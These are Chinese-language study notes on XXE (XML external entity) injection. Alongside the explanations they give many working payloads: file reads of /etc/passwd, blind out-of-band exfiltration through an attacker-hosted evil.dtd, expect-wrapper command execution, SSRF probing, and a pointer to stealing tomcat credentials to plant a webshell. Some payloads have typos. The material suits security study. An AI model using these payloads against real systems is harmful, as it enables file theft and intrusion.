本文是参照本人觉得特别仔细又好懂的一位大佬的文章所做的学习笔记
大佬的链接:https://www.cnblogs.com/zhaijiahui/p/9147595.html#autoid-0-0-0
00x01 xml与DTD实体介绍
1.xml定义与结构
定义:XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
结构:XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素:
<!--XML声明--> <?xml version="1.0"?> <!--文档类型定义--> <!DOCTYPE note [ <!--定义此文档是 note 类型的文档--> <!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素--> <!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型--> <!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型--> <!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型--> <!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型--> ]]]> <!--文档元素--> <note> <to>Dave</to> <from>Tom</from> <head>Reminder</head> <body>You are a good man</body> </note>
2.DTD介绍
DTD是xml中文档类型定义下面的<!DOCTYPE >、<!ELEMENT >所览阔的内容
- 内部声明DTD:
<!DOCTYPE 根元素 [元素声明]>
- 引用外部DTD:
<!DOCTYPE 根元素 SYSTEM "文件名">
- 内外部DTD文档结合:
<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>
关键字:
- DOCTYPE(DTD的声明)
- ENTITY(实体的声明)
- SYSTEM、PUBLIC(外部资源申请)
3.DTD实体声明
一个实体由三部分构成:&符号, 实体名称, 分号 (;),这里&不论在GET还是在POST中都需要进行URL编码,因为是使用参数传入xml的,&符号会被认为是参数间的连接符号。
- 内部实体声明:
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe "Thinking">]>
<foo>&xxe;</foo>
- 外部实体声明:
XML中对数据的引用称为实体,实体中有一类叫外部实体,用来引入外部资源,有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共 计算机,外部实体的引用可以借助各种协议,比如如下的三种:
file:///path/to/file.ext http://url php://filter/read=convert.base64-encode/resource=conf.php
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe(实体引用名) SYSTEM "file:///etc/passwd"(实体内容) >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
这种写法则调用了本地计算机的文件/etc/passwd
,XML内容被解析后,文件内容便通过&xxe
被存放在了methodname
元素中,造成了敏感信息的泄露。
- 参数实体声明:
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>
外部服务器evil.dtd中的内容:
<!ENTITY evil SYSTEM “file:///c:/windows/win.ini” >
00x02 什么是xxe攻击(XML外部实体注入)
有了XML实体,关键字’SYSTEM’会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。 简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)。比如,下面的代码将获取系统上folder/file的内容并呈献给用户。
Code1: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///etc/passwd">]> <foo> <value>&passwd;</value> </foo>
XML外部实体 ‘passwd’ 被赋予的值为:file:///etc/passwd。在解析XML文档的过程中,实体’passwd’的值会被替换为URI(file:///etc/passwd)内容值(也就是passwd文件的内容)。关键字’SYSTEM’会告诉XML解析器,’passwd’实体的值将从其后的URI中读取。
00x03怎么识别一个XXE攻击漏洞
xxe漏洞检测:
第一步检测XML是否会被成功解析:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY name "you are didi">]> <root>&name;</root>
如果页面输出了you are didi,说明xml文件可以被解析。(我喜欢在burpsuit里面验证)
第二步检测服务器是否支持DTD引用外部实体:
<?xml version=”1.0” encoding=”UTF-8”?> <!DOCTYPE ANY [ <!ENTITY % name SYSTEM "http://yourhost/index.html"> %name; ]>
可通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求index.html的请求。就是看目标服务器能否成功访问自己的服务器。
00x04 XXE漏洞的利用方法
1.读取任意文件
1.1有回显的情况
可以使用如下的两种方式进行XXE注入攻击:
<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]> <foo>&xxe;</foo>
<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" > %xxe;]> <foo>&evil;</foo> 外部evil.dtd中的内容: <!ENTITY evil SYSTEM “file:///c:/windows/win.ini” >
还可进行sql注入:
以上任意文件读取能够成功,除了DTD可有引用外部实体外,还取决于有输出信息,即有回显。那么如果程序没有回显的情况下,该怎么读取文件内容呢?需要使用blind xxe漏洞去利用。
1.2无回显情况
-
blind xxe漏洞方案1:
对于传统的XXE来说,要求攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,如果没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据。
在自己的服务器上创建test.php写入以下内容:
<?php file_put_contents("test.txt", $_GET['file']) ; ?>
在自己服务器上创建index.php写入以下内容:
<?php $xml=<<<EOF <?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "file:///C:/test.txt"> <!ENTITY % remote SYSTEM "http://localhost/test.xml"> %remote; %all; %send; ]> EOF; $data = simplexml_load_string($xml) ; echo "<pre>" ; print_r($data) ; ?>
在自己的服务器上创建test.xml并写入以下内容:
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://localhost/test.php?file=%file;'>">
当存在漏洞的地方用外部注入访问 http://localhost/index.php, 存在漏洞的服务器会读出text.txt内容,发送给攻击者服务器上的test.php,然后把读取的数据保存到本地的test.txt中。
- blind xxe漏洞方案2:
可以将文件内容发送到远程服务器,然后读取
<?xml verstion="1.0" encoding="utf-8"?> <!DOCTYPE a[ <!ENTITY % f SYSTEM "http://yourhost/evil.dtd"> %f; ]> <a>&b;</a> $data = simplexml_load_string($xml); print_r($data);
远程服务器的evil.dtd文件内容
<!ENTITY b SYSTEM "file:///etc/passwd">
- blind xxe漏洞方案3:
可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。
<?xml version=”1.0”?> <!DOCTYPE ANY [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php"> # /etc/issue <!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd"> %dtd; %send; ]>
evil.dtd的内容,内部的%号要进行实体编码成%。
<!ENTITY % all “<!ENTITY % send SYSTEM ‘http://xxx.xxx.xxx/?%file;’>” > %all;
有报错直接查看报错信息。
无报错需要访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。
2.命令执行
php环境下,xml命令执行要求php装有expect扩展。而该扩展默认没有安装。
<?php $xml = <<<EOF <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "except://ls"> # id ]> <x>&f;</x> EOF; $data = simplexml_load_string($xml); print_r($data); ?>
该CASE是在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。
3.内网探测/SSRF
由于xml实体注入攻击可以利用http://协议,也就是可以发起http请求。可以利用该请求去探查内网,进行SSRF攻击
<?php $xml = <<<EOF <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "http://192.168.1.1:80/"> ]> <x>&f;</x> EOF; $data = simplexml_load_string($xml); print_r($data); ?>
4.struts2漏洞
该CASE是攻击内网struts2网站,远程执行系统命令。
5.拒绝服务攻击
著名的’billion laughs’ 攻击:(https://en.wikipedia.org/wiki/Billion_laughs)
00x05 几个恶意引入外部的实体代码
1.恶意引入外部实体1:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY b SYSTEM "file:///etc/passwd"> ]> <aaa>&b;</aaa>
如果给出了标签,比如:<user><username>&name;</username><password>admin</password></user>
那么将<aaa>&b;</aaa>换成
<user><username>&b;</username></user>
2.恶意引入外部实体2:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY % d SYSTEM "http://yourhost/evil.dtd"> %d; ]> <aaa>&b;</aaa>
DTD文件(evil.dtd)内容:
<!ENTITY b SYSTEM "file:///etc/passwd">
3.恶意引入外部实体3:
<?xml verstion="1.0" encoding="utf-8"?> <!DOCTYPE a SYSTEM "http://yourhost/evil.dtd"> ]> <c>&b;</c>
DTD文件内容
<!ENTITY b SYSTEM "file:///etc/passwd">
4.恶意引入外部实体4:
<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]> <foo>&xxe;</foo>
5.恶意引入外部实体5:
在自己服务器上创建 XML.php
<?php $xml = <<<EOF <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///etc/passwd"> ]> <x>&f;</x> EOF; $data = simplexml_load_string($xml); print_r($data); ?>
有漏洞的站点利用外部实体注入访问XML.php的url可以读取etc/passwd文件内容
该CASE是读取/etc/passwd,有些XML解析库支持列目录,攻击者通过列目录、读文件,获取帐号密码后进一步攻击,如读取tomcat-users.xml得到帐号密码后登录tomcat的manager部署webshell。